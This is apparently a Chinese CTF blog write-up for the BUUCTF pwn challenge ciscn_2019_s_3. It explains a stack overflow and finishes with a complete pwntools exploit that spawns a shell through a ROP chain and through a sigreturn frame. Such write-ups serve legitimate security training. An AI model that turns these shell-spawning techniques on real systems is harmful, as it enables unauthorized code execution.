csicn_2019_s_3

ciscn_2019_s_3

注意

在本地调试的时候注意libc版本,我本地的版本是2.31,在计算栈的偏移时是0x128,但是线上靶场的环境栈的偏移是0x118

在本地可以利用patchelf切换libc版本

patchelf --set-interpreter ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ ./ciscn_s_3
  1. 安全策略

    [*] '/root/ctf/buuctf/pwn/ciscn_s_3'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    
  2. 分析

    程序的功能很简单,接受一段输入,然后输出。接受输入的栈大小为0X10,而读入的最大限制是0x400,明显存在溢出。

    binsh字符串

    有几点需要注意,本题没有引用函数,而使用syscall实现的读写,因此无法通过泄露got表的方法去获取libc地 址,进而获取/bin/sh,所以需要考虑自己写入/bin/sh然后再调用。通过调试可以发现读入数据时,rsp向下0x10的位置是字符串ciscn_s_3的地址,通过计算发现这个字符串和自己写入的/bin/sh的偏移是恒定的0x128。由此即可获取/bin/sh的地址。

在这里插入图片描述

利用execve

构造execve('/bin/sh',0,0)。这里使用万能gadget构造ROP

# r12 = 返回调用的地址
# r13 = 参数三
# r14 = 参数二
# r15d = 参数一,这里我们需要传入的binsh地址是栈中的地址,只传低4位不能满足,因此我们需要额外再给rdi进行一次赋值
# 按照我们的溢出构造方式,binsh到pop_rdi_ret的偏移正好是0x50,因此返回地址就是binsh+0x50
retaddr = binsh + 0x50
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(0x1) + p64(retaddr) + p64(0) + p64(0) + p64(0)
payload += p64(mov_rdx_r13)
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(mov_rax_11) + p64(syscall)

利用sigreturn

构造如下的fake frame,然后调用15号系统调用就可以了

fake_frame = SigreturnFrame()
fake_frame.rax = 0x3b
fake_frame.rdi = binsh
fake_frame.rsi = 0
fake_frame.rdx = 0
fake_frame.rip = syscall

payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(mov_rax_15) + p64(syscall) 
payload += bytes(fake_frame)
  1. exp

    from pwn import *
    context.log_level = 'debug'
    context.arch = 'amd64'
    elf = ELF('./ciscn_s_3')
    leak_got = elf.got['__libc_start_main']
    
    vuln = 0x004004ed
    syscall = 0x00400517
    ret = 0x00400519
    # rdi
    pop_rdi_ret = 0x004005a3
    # rdx
    pop_rbx_rbp_r12_r13_r14_r15_ret = 0x0040059a
    mov_rdx_r13 = 0x00400580
    #conn = remote('node4.buuoj.cn',27244)
    conn = process('ciscn_s_3')
    
    #gdb.attach(conn, 'b *0x004004ed')
    
    payload = b'/bin/sh' 
    payload = payload.ljust(0x10, b'\x00')
    payload += p64(vuln)
    conn.send(payload)
    res = conn.recv(0x30)[0x20:0x26]
    binsh = u64(res+b'\x00\x00') - 0x118		# 注意libc版本,2.31版本这里是0x128
    print(f'binsh : {hex(binsh)}')
    def exp1():
        mov_rax_59 = 0x004004e2
        
        payload = b'/bin/sh'.ljust(0x10, b'\x00')
        # r14 => rsi = 0
        # r13 => rdx = 0, r12 = syscall
        payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + p64(0) + p64(0x1) + p64(binsh + 0x50) + p64(0) + p64(0) + p64(binsh)
        payload += p64(mov_rdx_r13)
        # r15 => rdi = binsh
        payload += p64(pop_rdi_ret) + p64(binsh)
        # rax = 59
        payload += p64(mov_rax_59) 
        payload += p64(syscall)
        conn.send(payload) 
        conn.recv()
        conn.interactive()
    
    def exp2():
        mov_rax_15 = 0x004004da
        
        # fake signal frame
        fake_frame = SigreturnFrame()
        fake_frame.rax = 0x3b
        fake_frame.rdi = binsh
        fake_frame.rsi = 0
        fake_frame.rdx = 0
        #fake_frame.rsp = binsh + 0x10
        fake_frame.rip = syscall
        print(fake_frame)
    
        payload = b'/bin/sh'.ljust(0x10, b'\x00')
        payload += p64(mov_rax_15) + p64(syscall) 
        payload += bytes(fake_frame)
    
        conn.send(payload)
        conn.recv()
        conn.interactive()
       
    if __name__ == "__main__":
        exp1()
    
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值